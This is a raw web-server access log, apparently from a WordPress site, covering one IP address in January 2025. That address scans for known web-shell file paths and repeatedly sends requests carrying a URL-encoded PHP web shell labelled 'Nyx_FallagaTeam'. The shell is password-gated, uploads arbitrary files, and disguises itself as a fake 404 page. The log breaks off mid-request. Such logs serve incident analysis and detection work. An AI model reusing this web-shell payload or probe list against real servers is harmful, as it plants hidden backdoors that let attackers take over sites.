AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:23 +0530] "GET /wp-includes/pomo/2.php HTTP/1.1" 302 242 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:23 +0530] "GET /wp-admin/js/xxxxxxxxxxxxxxxxxxxxxxxxxxxx.php HTTP/1.1" 302 264 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:23 +0530] "GET /wp-content/wp-logins.php HTTP/1.1" 302 244 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:24 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:24 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:24 +0530] "GET /3301.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:24 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:25 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:25 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:26 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:26 +0530] "GET /1975.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:26 +0530] "GET /alfaindex.php HTTP/1.1" 302 233 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:27 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:27 +0530] "GET /g.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:27 +0530] "GET /wp-includes/Text/sidwso.php HTTP/1.1" 302 247 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:27 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:29 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:29 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:29 +0530] "GET /wp-content/wp-admin.php HTTP/1.1" 302 243 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:29 +0530] "GET /wp-includes/theme-cron.php HTTP/1.1" 302 246 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:30 +0530] "GET /alexus.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:30 +0530] "GET /images/indexalt.php HTTP/1.1" 302 239 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:52:30 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:52:31 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%